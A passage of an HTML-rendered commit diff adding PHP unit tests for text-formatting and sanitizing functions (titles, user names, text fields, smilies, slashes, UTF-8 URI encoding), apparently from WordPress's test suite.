</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizeOrderbyphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizeOrderby.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizeOrderby.php                         (rev 0)
+++ trunk/tests/tests/formatting/SanitizeOrderby.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,38 @@
</span><ins>+<?php
+
+/* // @todo These tests need to be rewritten for sanitize_sql_orderby
+class Tests_Formatting_SanitizeOrderby extends WP_UnitTestCase {
+       function test_empty() {
+               $cols = array('a' => 'a');
+               $this->assertEquals( '', sanitize_sql_orderby('', $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby('  ', $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby("\t", $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby(null, $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby(0, $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby('+', $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby('-', $cols) );
+       }
+
+       function test_unknown_column() {
+               $cols = array('name' => 'post_name', 'date' => 'post_date');
+               $this->assertEquals( '', sanitize_sql_orderby('unknown_column', $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby('+unknown_column', $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby('-unknown_column', $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby('-unknown1,+unknown2,unknown3', $cols) );
+               $this->assertEquals( 'post_name ASC', sanitize_sql_orderby('name,unknown_column', $cols) );
+               $this->assertEquals( '', sanitize_sql_orderby('!@#$%^&*()_=~`\'",./', $cols) );
+       }
+
+       function test_valid() {
+               $cols = array('name' => 'post_name', 'date' => 'post_date', 'random' => 'rand()');
+               $this->assertEquals( 'post_name ASC', sanitize_sql_orderby('name', $cols) );
+               $this->assertEquals( 'post_name ASC', sanitize_sql_orderby('+name', $cols) );
+               $this->assertEquals( 'post_name DESC', sanitize_sql_orderby('-name', $cols) );
+               $this->assertEquals( 'post_date ASC, post_name ASC', sanitize_sql_orderby('date,name', $cols) );
+               $this->assertEquals( 'post_date ASC, post_name ASC', sanitize_sql_orderby(' date , name ', $cols) );
+               $this->assertEquals( 'post_name DESC, post_date ASC', sanitize_sql_orderby('-name,date', $cols) );
+               $this->assertEquals( 'post_name ASC, post_date ASC', sanitize_sql_orderby('name ,+ date', $cols) );
+               $this->assertEquals( 'rand() ASC', sanitize_sql_orderby('random', $cols) );
+       }
+}
+*/
</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizePostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizePost.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizePost.php                            (rev 0)
+++ trunk/tests/tests/formatting/SanitizePost.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,25 @@
</span><ins>+<?php
+/**
+ * @group formatting
+ * @group post
+ */
+class Tests_Formatting_SanitizePost extends WP_UnitTestCase {
+
+       /**
+        * @ticket 22324
+        */
+       function test_int_fields() {
+               $post = $this->factory->post->create_and_get();
+               $int_fields = array(
+                       'ID'            => 'integer',
+                       'post_parent'   => 'integer',
+                       'menu_order'    => 'integer',
+                       'post_author'   => 'string',
+                       'comment_count' => 'string',
+               );
+
+               foreach ( $int_fields as $field => $type ) {
+                       $this->assertInternalType( $type, $post->$field, "field $field" );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizeTextFieldphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizeTextField.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizeTextField.php                               (rev 0)
+++ trunk/tests/tests/formatting/SanitizeTextField.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,47 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTextField extends WP_UnitTestCase {
+       // #11528
+       function test_sanitize_text_field() {
+               $inputs = array(
+                       'оРангутанг', //Ensure UTF8 text is safe the Р is D0 A0 and A0 is the non-breaking space.
+                       'САПР', //Ensure UTF8 text is safe the Р is D0 A0 and A0 is the non-breaking space.
+                       'one is < two',
+                       'tags <span>are</span> <em>not allowed</em> here',
+                       ' we should trim leading and trailing whitespace ',
+                       'we  also  trim  extra  internal  whitespace',
+                       'tabs   get removed too',
+                       'newlines are not welcome
+                       here',
+                       'We also %AB remove %ab octets',
+                       'We don\'t need to wory about %A
+                       B removing %a
+                       b octets even when %a   B they are obscured by whitespace',
+                       '%AB%BC%DE', //Just octets
+                       'Invalid octects remain %II',
+                       'Nested octects %%%ABABAB %A%A%ABBB',
+               );
+               $expected = array(
+                       'оРангутанг',
+                       'САПР',
+                       'one is &lt; two',
+                       'tags are not allowed here',
+                       'we should trim leading and trailing whitespace',
+                       'we also trim extra internal whitespace',
+                       'tabs get removed too',
+                       'newlines are not welcome here',
+                       'We also remove octets',
+                       'We don\'t need to wory about %A B removing %a b octets even when %a B they are obscured by whitespace',
+                       '', //Emtpy as we strip all the octets out
+                       'Invalid octects remain %II',
+                       'Nested octects',
+               );
+
+               foreach ($inputs as $key => $input) {
+                       $this->assertEquals($expected[$key], sanitize_text_field($input));
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizeTitlephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizeTitle.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizeTitle.php                           (rev 0)
+++ trunk/tests/tests/formatting/SanitizeTitle.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,18 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTitle extends WP_UnitTestCase {
+       function test_strips_html() {
+               $input = "Captain <strong>Awesome</strong>";
+               $expected = "captain-awesome";
+               $this->assertEquals($expected, sanitize_title($input));
+       }
+
+       function test_titles_sanitized_to_nothing_are_replaced_with_optional_fallback() {
+               $input = "<strong></strong>";
+               $fallback = "Captain Awesome";
+               $this->assertEquals($fallback, sanitize_title($input, $fallback));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizeTitleWithDashesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizeTitleWithDashes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizeTitleWithDashes.php                         (rev 0)
+++ trunk/tests/tests/formatting/SanitizeTitleWithDashes.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,107 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTitleWithDashes extends WP_UnitTestCase {
+       function test_strips_html() {
+               $input = "Captain <strong>Awesome</strong>";
+               $expected = "captain-awesome";
+               $this->assertEquals($expected, sanitize_title($input));
+       }
+
+       function test_strips_unencoded_percent_signs() {
+               $this->assertEquals("fran%c3%a7ois", sanitize_title_with_dashes("fran%c3%a7%ois"));
+       }
+
+       function test_makes_title_lowercase() {
+               $this->assertEquals("abc", sanitize_title_with_dashes("ABC"));
+       }
+
+       function test_replaces_any_amount_of_whitespace_with_one_hyphen() {
+               $this->assertEquals("a-t", sanitize_title_with_dashes("a          t"));
+               $this->assertEquals("a-t", sanitize_title_with_dashes("a    \n\n\nt"));
+       }
+
+       function test_replaces_any_number_of_hyphens_with_one_hyphen() {
+               $this->assertEquals("a-t-t", sanitize_title_with_dashes("a----t----t"));
+       }
+
+       function test_trims_trailing_hyphens() {
+               $this->assertEquals("a-t-t", sanitize_title_with_dashes("a----t----t----"));
+       }
+
+       function test_handles_non_entity_ampersands() {
+               $this->assertEquals("penn-teller-bull", sanitize_title_with_dashes("penn & teller bull"));
+       }
+
+       /**
+        * @ticket 10823
+        */
+       function test_strips_entities() {
+               $this->assertEquals("no-entities-here", sanitize_title_with_dashes("No &nbsp; Entities &ndash; Here &amp;"));
+               $this->assertEquals("one-two", sanitize_title_with_dashes("One &amp; Two", '', 'save'));
+               $this->assertEquals("one-two", sanitize_title_with_dashes("One &#123; Two;", '', 'save'));
+               $this->assertEquals("one-two", sanitize_title_with_dashes("One & Two;", '', 'save'));
+               $this->assertEquals("one-two", sanitize_title_with_dashes("One Two™;", '', 'save'));
+               $this->assertEquals("one-two", sanitize_title_with_dashes("One &&amp; Two;", '', 'save'));
+               $this->assertEquals("onetwo", sanitize_title_with_dashes("One&Two", '', 'save'));
+               $this->assertEquals("onetwo-test", sanitize_title_with_dashes("One&Two Test;", '', 'save'));
+       }
+
+       function test_replaces_nbsp() {
+               $this->assertEquals("dont-break-the-space", sanitize_title_with_dashes("don't break the space", '', 'save'));
+       }
+
+       function test_replaces_ndash_mdash() {
+               $this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do – the Dash", '', 'save'));
+               $this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do the — Dash", '', 'save'));
+       }
+
+       function test_replaces_iexcel_iquest() {
+               $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just ¡a Slug", '', 'save'));
+               $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just a Slug¿", '', 'save'));
+       }
+
+       function test_replaces_angle_quotes() {
+               $this->assertEquals("just-a-slug", sanitize_title_with_dashes("‹Just a Slug›", '', 'save'));
+               $this->assertEquals("just-a-slug", sanitize_title_with_dashes("«Just a Slug»", '', 'save'));
+       }
+
+       function test_replaces_curly_quotes() {
+               $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its “Curly Joe”", '', 'save'));
+               $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its ‘Curly Joe’", '', 'save'));
+               $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its „Curly Joe“", '', 'save'));
+               $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its ‚Curly Joe‛", '', 'save'));
+               $this->assertEquals("hey-its-curly-joe", sanitize_title_with_dashes("Hey its „Curly Joe‟", '', 'save'));
+       }
+
+       function test_replaces_copy_reg_deg_trade() {
+               $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just © a Slug", '', 'save'));
+               $this->assertEquals("just-a-slug", sanitize_title_with_dashes("® Just a Slug", '', 'save'));
+               $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just a ° Slug", '', 'save'));
+               $this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just ™ a Slug", '', 'save'));
+       }
+
+       /**
+        * @ticket 19820
+        */
+       function test_replaces_multiply_sign() {
+               $this->assertEquals("6x7-is-42", sanitize_title_with_dashes("6×7 is 42", '', 'save'));
+       }
+
+       /**
+        * @ticket 20772
+        */
+       function test_replaces_standalone_diacritic() {
+               $this->assertEquals("aaaa", sanitize_title_with_dashes("āáǎà", '', 'save'));
+       }
+
+       /**
+        * @ticket 22395
+        */
+       function test_replaces_acute_accents() {
+               $this->assertEquals("aaaa", sanitize_title_with_dashes("ááa´aˊ", '', 'save'));
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizeTrackbackUrlsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizeTrackbackUrls.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizeTrackbackUrls.php                           (rev 0)
+++ trunk/tests/tests/formatting/SanitizeTrackbackUrls.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,27 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTrackbackUrls extends WP_UnitTestCase {
+       /**
+        * @ticket 21624
+        * @dataProvider breaks
+        */
+       function test_sanitize_trackback_urls_with_multiple_urls( $break ) {
+               $this->assertEquals( "http://example.com\nhttp://example.org", sanitize_trackback_urls( "http://example.com{$break}http://example.org" ) );
+       }
+
+       function breaks() {
+               return array(
+                       array( "\r\n\t " ),
+                       array( "\r" ),
+                       array( "\n" ),
+                       array( "\t" ),
+                       array( ' ' ),
+                       array( '  ' ),
+                       array( "\n  " ),
+                       array( "\r\n" ),
+               );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizeUserphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizeUser.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizeUser.php                            (rev 0)
+++ trunk/tests/tests/formatting/SanitizeUser.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,27 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeUser extends WP_UnitTestCase {
+       function test_strips_html() {
+               $input = "Captain <strong>Awesome</strong>";
+               $expected = is_multisite() ? 'captain awesome' : 'Captain Awesome';
+               $this->assertEquals($expected, sanitize_user($input));
+       }
+       /**
+        * @ticket 10823
+        */
+       function test_strips_entities() {
+               $this->assertEquals("ATT", sanitize_user("AT&amp;T"));
+               $this->assertEquals("ATT Test;", sanitize_user("AT&amp;T Test;"));
+               $this->assertEquals("AT&T Test;", sanitize_user("AT&T Test;"));
+       }
+       function test_strips_percent_encoded_octets() {
+               $expected = is_multisite() ? 'franois' : 'Franois';
+               $this->assertEquals( $expected, sanitize_user( "Fran%c3%a7ois" ) );
+       }
+       function test_optional_strict_mode_reduces_to_safe_ascii_subset() {
+               $this->assertEquals("abc", sanitize_user("()~ab~ˆcˆ!", true));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSeemsUtf8php"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SeemsUtf8.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SeemsUtf8.php                               (rev 0)
+++ trunk/tests/tests/formatting/SeemsUtf8.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,46 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SeemsUtf8 extends WP_UnitTestCase {
+
+       /**
+        * `seems_utf8` returns true for utf-8 strings, false otherwise.
+        *
+        * @dataProvider utf8_strings
+        */
+    function test_returns_true_for_utf8_strings( $utf8_string ) {
+               // from http://www.i18nguy.com/unicode-example.html
+               $this->assertTrue( seems_utf8( $string ) );
+       }
+
+       function utf8_strings() {
+               $utf8_strings = file( DIR_TESTDATA . '/formatting/utf-8/utf-8.txt' );
+               foreach ( $utf8_strings as &$string ) {
+                       $string = (array) trim( $string );
+               }
+               unset( $string );
+               return $utf8_strings;
+       }
+
+       /**
+        * @dataProvider big5_strings
+        */
+       function test_returns_false_for_non_utf8_strings( $big5_string ) {
+               $this->markTestIncomplete( 'This test does not have any assertions.' );
+
+               $big5 = $big5[0];
+               $strings = array(
+                       "abc",
+                       "123",
+                       $big5
+               );
+       }
+
+       function big5_strings() {
+               // Get data from formatting/big5.txt
+               return array( array( 'incomplete' ) );
+       }
+}
+
</ins></span></pre></div>
<a id="trunkteststestsformattingSlashitphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/Slashit.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/Slashit.php                         (rev 0)
+++ trunk/tests/tests/formatting/Slashit.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,31 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Slashit extends WP_UnitTestCase {
+       function test_backslashes_middle_numbers() {
+               $this->assertEquals("\\a-!9\\a943\\b\\c", backslashit("a-!9a943bc"));
+       }
+
+       function test_backslashes_alphas() {
+               $this->assertEquals("\\a943\\b\\c", backslashit("a943bc"));
+       }
+
+       function test_double_backslashes_leading_numbers() {
+               $this->assertEquals("\\\\95", backslashit("95"));
+       }
+
+       function test_removes_trailing_slashes() {
+               $this->assertEquals("a", untrailingslashit("a/"));
+               $this->assertEquals("a", untrailingslashit("a////"));
+       }
+
+       function test_adds_trailing_slash() {
+               $this->assertEquals("a/", trailingslashit("a"));
+       }
+
+       function test_does_not_add_trailing_slash_if_one_exists() {
+               $this->assertEquals("a/", trailingslashit("a/"));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSmiliesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/Smilies.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/Smilies.php                         (rev 0)
+++ trunk/tests/tests/formatting/Smilies.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,84 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Smilies extends WP_UnitTestCase {
+
+       function test_convert_smilies() {
+               global $wpsmiliestrans;
+               $includes_path = includes_url("images/smilies/");
+
+               // standard smilies, use_smilies: ON
+               update_option( 'use_smilies', 1 );
+
+               smilies_init();
+
+               $inputs = array(
+                                               'Lorem ipsum dolor sit amet mauris ;-) Praesent gravida sodales. :lol: Vivamus nec diam in faucibus eu, bibendum varius nec, imperdiet purus est, at augue at lacus malesuada elit dapibus a, :eek: mauris. Cras mauris viverra elit. Nam laoreet viverra. Pellentesque tortor. Nam libero ante, porta urna ut turpis. Nullam wisi magna, :mrgreen: tincidunt nec, sagittis non, fringilla enim. Nam consectetuer nec, ullamcorper pede eu dui odio consequat vel, vehicula tortor quis pede turpis cursus quis, egestas ipsum ultricies ut, eleifend velit. Mauris vestibulum iaculis. Sed in nunc. Vivamus elit porttitor egestas. Mauris purus :?:',
+                                               '<strong>Welcome to the jungle!</strong> We got fun n games! :) We got everything you want 8-) <em>Honey we know the names :)</em>',
+                                               "<strong;)>a little bit of this\na little bit:other: of that :D\n:D a little bit of good\nyeah with a little bit of bad8O",
+                                               '<strong style="here comes the sun :-D">and I say it\'s allright:D:D',
+                                               '<!-- Woo-hoo, I\'m a comment, baby! :x > -->',
+                                               ':?:P:?::-x:mrgreen:::', /*
+                                               'the question is, <textarea>Should smilies be converted in textareas :?:</textarea>',
+                                               'the question is, <code>Should smilies be converted in code or pre tags :?:</code>',
+                                               'the question is, <code style="color:#fff">Should smilies be converted in code or pre tags :?:</code>',
+                                               'the question is, <code>Should smilies be converted in invalid code or pre tags :?:</pre>',
+                                               '<Am I greedy?>Yes I am :)> :) The world makes me :mad:' */
+                                               );
+
+               $outputs = array(
+                                               'Lorem ipsum dolor sit amet mauris <img src=\''.$includes_path.'icon_wink.gif\' alt=\';-)\' class=\'wp-smiley\' />  Praesent gravida sodales. <img src=\''.$includes_path.'icon_lol.gif\' alt=\':lol:\' class=\'wp-smiley\' />  Vivamus nec diam in faucibus eu, bibendum varius nec, imperdiet purus est, at augue at lacus malesuada elit dapibus a, <img src=\''.$includes_path.'icon_surprised.gif\' alt=\':eek:\' class=\'wp-smiley\' />  mauris. Cras mauris viverra elit. Nam laoreet viverra. Pellentesque tortor. Nam libero ante, porta urna ut turpis. Nullam wisi magna, <img src=\''.$includes_path.'icon_mrgreen.gif\' alt=\':mrgreen:\' class=\'wp-smiley\' />  tincidunt nec, sagittis non, fringilla enim. Nam consectetuer nec, ullamcorper pede eu dui odio consequat vel, vehicula tortor quis pede turpis cursus quis, egestas ipsum ultricies ut, eleifend velit. Mauris vestibulum iaculis. Sed in nunc. Vivamus elit porttitor egestas. Mauris purus <img src=\''.$includes_
 path.'icon_question.gif\' alt=\':?:\' class=\'wp-smiley\' /> ',
+                                               '<strong>Welcome to the jungle!</strong> We got fun n games! <img src=\''.$includes_path.'icon_smile.gif\' alt=\':)\' class=\'wp-smiley\' />  We got everything you want <img src=\''.$includes_path.'icon_cool.gif\' alt=\'8-)\' class=\'wp-smiley\' /> <em>Honey we know the names <img src=\''.$includes_path.'icon_smile.gif\' alt=\':)\' class=\'wp-smiley\' /> </em>',
+                                               "<strong;)>a little bit of this\na little bit:other: of that <img src='{$includes_path}icon_biggrin.gif' alt=':D' class='wp-smiley' />  <img src='{$includes_path}icon_biggrin.gif' alt=':D' class='wp-smiley' />  a little bit of good\nyeah with a little bit of bad8O",
+                                               '<strong style="here comes the sun :-D">and I say it\'s allright:D:D',
+                                               '<!-- Woo-hoo, I\'m a comment, baby! :x > -->',
+                                               ' <img src=\''.$includes_path.'icon_question.gif\' alt=\':?:\' class=\'wp-smiley\' /> P:?::-x:mrgreen:::', /*
+                                               'the question is, <textarea>Should smilies be converted in textareas :?:</textarea>',
+                                               'the question is, <code>Should smilies be converted in code or pre tags :?:</code>',
+                                               'the question is, <code style="color:#fff">Should smilies be converted in code or pre tags :?:</code>',
+                                               'the question is, <code>Should smilies be converted in invalid code or pre tags :?:</pre>',
+                                               '<Am I greedy?>Yes I am <img src=\''.$includes_path.'icon_smile.gif\' alt=\':)\' class=\'wp-smiley\' /> > <img src=\''.$includes_path.'icon_smile.gif\' alt=\':)\' class=\'wp-smiley\' />  The world makes me <img src=\'http://wp-test.php/wp-includes/images/smilies/icon_mad.gif\' alt=\':mad:\' class=\'wp-smiley\' />' */
+                                               );
+
+               foreach ( $inputs as $k => $input ) {
+                       $this->assertEquals( $outputs[$k], convert_smilies($input) );
+               }
+
+               update_option( 'use_smilies', 0 );
+
+               // standard smilies, use_smilies: OFF
+
+               foreach ( $inputs as $input ) {
+                       $this->assertEquals( $input, convert_smilies($input) );
+               }
+
+               return;
+
+               // custom smilies, use_smilies: ON
+               update_option( 'use_smilies', 1 );
+               $wpsmiliestrans = array(
+                 ':PP' => 'icon_tongue.gif',
+                 ':arrow:' => 'icon_arrow.gif',
+                 ':monkey:' => 'icon_shock_the_monkey.gif',
+                 ':nervou:' => 'icon_nervou.gif'
+               );
+
+               smilies_init();
+
+               $inputs = array('Peter Brian Gabriel (born 13 February 1950) is a British singer, musician, and songwriter who rose to fame as the lead vocalist and flautist of the progressive rock group Genesis. :monkey:',
+                                               'Star Wars Jedi Knight:arrow: Jedi Academy is a first and third-person shooter action game set in the Star Wars universe. It was developed by Raven Software and published, distributed and marketed by LucasArts in North America and by Activision in the rest of the world. :nervou:',
+                                               ':arrow:monkey:Lorem ipsum dolor sit amet enim. Etiam ullam:PP<br />corper. Suspendisse a pellentesque dui, non felis.<a>:arrow::arrow</a>'
+                                               );
+
+               $outputs = array('Peter Brian Gabriel (born 13 February 1950) is a British singer, musician, and songwriter who rose to fame as the lead vocalist and flautist of the progressive rock group Genesis. <img src=\''.$includes_path.'icon_shock_the_monkey.gif\' alt=\'icon_arrow\' class=\'wp-smiley\' />',
+                                               'Star Wars Jedi Knight<img src=\''.$includes_path.'icon_arrow.gif\' alt=\'icon_arrow\' class=\'wp-smiley\' /> Jedi Academy is a first and third-person shooter action game set in the Star Wars universe. It was developed by Raven Software and published, distributed and marketed by LucasArts in North America and by Activision in the rest of the world. <img src=\''.$includes_path.'icon_nervou.gif\' alt=\'icon_nervou\' class=\'wp-smiley\' />',
+                                               '<img src=\''.$includes_path.'icon_arrow.gif\' alt=\'icon_arrow\' class=\'wp-smiley\' />monkey:Lorem ipsum dolor sit amet enim. Etiam ullam<img src=\''.$includes_path.'icon_tongue.gif\' alt=\'icon_tongue\' class=\'wp-smiley\' /><br />corper. Suspendisse a pellentesque dui, non felis.<a><img src=\''.$includes_path.'icon_arrow.gif\' alt=\'icon_arrow\' class=\'wp-smiley\' />:arrow</a>'
+                                               );
+
+               foreach ( $inputs as $k => $input ) {
+                       $this->assertEquals( $outputs[$k], convert_smilies($input) );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingStripSlashesDeepphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/StripSlashesDeep.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/StripSlashesDeep.php                                (rev 0)
+++ trunk/tests/tests/formatting/StripSlashesDeep.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,47 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_StripSlashesDeep extends WP_UnitTestCase {
+       /**
+        * @ticket 18026
+        */
+       function test_preserves_original_datatype() {
+
+               $this->assertEquals( true, stripslashes_deep( true ) );
+               $this->assertEquals( false, stripslashes_deep( false ) );
+               $this->assertEquals( 4, stripslashes_deep( 4 ) );
+               $this->assertEquals( 'foo', stripslashes_deep( 'foo' ) );
+               $arr = array( 'a' => true, 'b' => false, 'c' => 4, 'd' => 'foo' );
+               $arr['e'] = $arr; // Add a sub-array
+               $this->assertEquals( $arr, stripslashes_deep( $arr ) ); // Keyed array
+               $this->assertEquals( array_values( $arr ), stripslashes_deep( array_values( $arr ) ) ); // Non-keyed
+
+               $obj = new stdClass;
+               foreach ( $arr as $k => $v )
+                       $obj->$k = $v;
+               $this->assertEquals( $obj, stripslashes_deep( $obj ) );
+       }
+
+       function test_strips_slashes() {
+               $old = "I can\'t see, isn\'t that it?";
+               $new = "I can't see, isn't that it?";
+               $this->assertEquals( $new, stripslashes_deep( $old ) );
+               $this->assertEquals( $new, stripslashes_deep( "I can\\'t see, isn\\'t that it?" ) );
+               $this->assertEquals( array( 'a' => $new ), stripslashes_deep( array( 'a' => $old ) ) ); // Keyed array
+               $this->assertEquals( array( $new ), stripslashes_deep( array( $old ) ) ); // Non-keyed
+
+               $obj_old = new stdClass;
+               $obj_old->a = $old;
+               $obj_new = new stdClass;
+               $obj_new->a = $new;
+               $this->assertEquals( $obj_new, stripslashes_deep( $obj_old ) );
+       }
+
+       function test_permits_escaped_slash() {
+               $txt = "I can't see, isn\'t that it?";
+               $this->assertEquals( $txt, stripslashes_deep( "I can\'t see, isn\\\'t that it?" ) );
+               $this->assertEquals( $txt, stripslashes_deep( "I can\'t see, isn\\\\\'t that it?" ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingUrlEncodedToEntitiesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/UrlEncodedToEntities.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/UrlEncodedToEntities.php                            (rev 0)
+++ trunk/tests/tests/formatting/UrlEncodedToEntities.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,24 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_UrlEncodedToEntities extends WP_UnitTestCase {
+       /**
+        * @dataProvider data
+        */
+       function test_convert_urlencoded_to_entities( $u_urlencoded, $entity ) {
+               $this->assertEquals( $entity, preg_replace_callback('/\%u([0-9A-F]{4})/', '_convert_urlencoded_to_entities', $u_urlencoded ), $entity );
+       }
+
+       function data() {
+               $input  = file( DIR_TESTDATA . '/formatting/utf-8/u-urlencoded.txt' );
+               $output = file( DIR_TESTDATA . '/formatting/utf-8/entitized.txt' );
+               $data_provided = array();
+               foreach ( $input as $key => $value ) {
+                       $data_provided[] = array( trim( $value ), trim( $output[ $key ] ) );
+               }
+               return $data_provided;
+       }
+}
+
</ins></span></pre></div>
<a id="trunkteststestsformattingUtf8UriEncodephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/Utf8UriEncode.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/Utf8UriEncode.php                           (rev 0)
+++ trunk/tests/tests/formatting/Utf8UriEncode.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,36 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Utf8UriEncode extends WP_UnitTestCase {
+
+       /**
+        * Non-ASCII UTF-8 characters should be percent encoded. Spaces etc.
+        * are dealt with elsewhere.
+        *
+        * @dataProvider data
+        */
+       function test_percent_encodes_non_reserved_characters( $utf8, $urlencoded ) {
+               $this->assertEquals($urlencoded, utf8_uri_encode( $utf8 ) );
+       }
+
+       /**
+        * @dataProvider data
+        */
+       function test_output_is_not_longer_than_optional_length_argument( $utf8, $unused_for_this_test ) {
+               $max_length = 30;
+               $this->assertTrue( strlen( utf8_uri_encode( $utf8, $max_length ) ) <= $max_length );
+       }
+
+       function data() {
+               $utf8_urls  = file( DIR_TESTDATA . '/formatting/utf-8/utf-8.txt' );
+               $urlencoded = file( DIR_TESTDATA . '/formatting/utf-8/urlencoded.txt' );
+        $data_provided = array();
+               foreach ( $utf8_urls as $key => $value ) {
+                       $data_provided[] = array( trim( $value ), trim( $urlencoded[ $key ] ) );
+               }
+               return $data_provided;
+       }
+}
+
</ins></span></pre></div>
<a id="trunkteststestsformattingWPSpecialcharsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/WPSpecialchars.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/WPSpecialchars.php                          (rev 0)
+++ trunk/tests/tests/formatting/WPSpecialchars.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,42 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPSpecialchars extends WP_UnitTestCase {
+       function test_wp_specialchars_basics() {
+               $html =  "&amp;&lt;hello world&gt;";
+               $this->assertEquals( $html, _wp_specialchars( $html ) );
+
+               $double = "&amp;amp;&amp;lt;hello world&amp;gt;";
+               $this->assertEquals( $double, _wp_specialchars( $html, ENT_NOQUOTES, false, true ) );
+       }
+
+       function test_allowed_entity_names() {
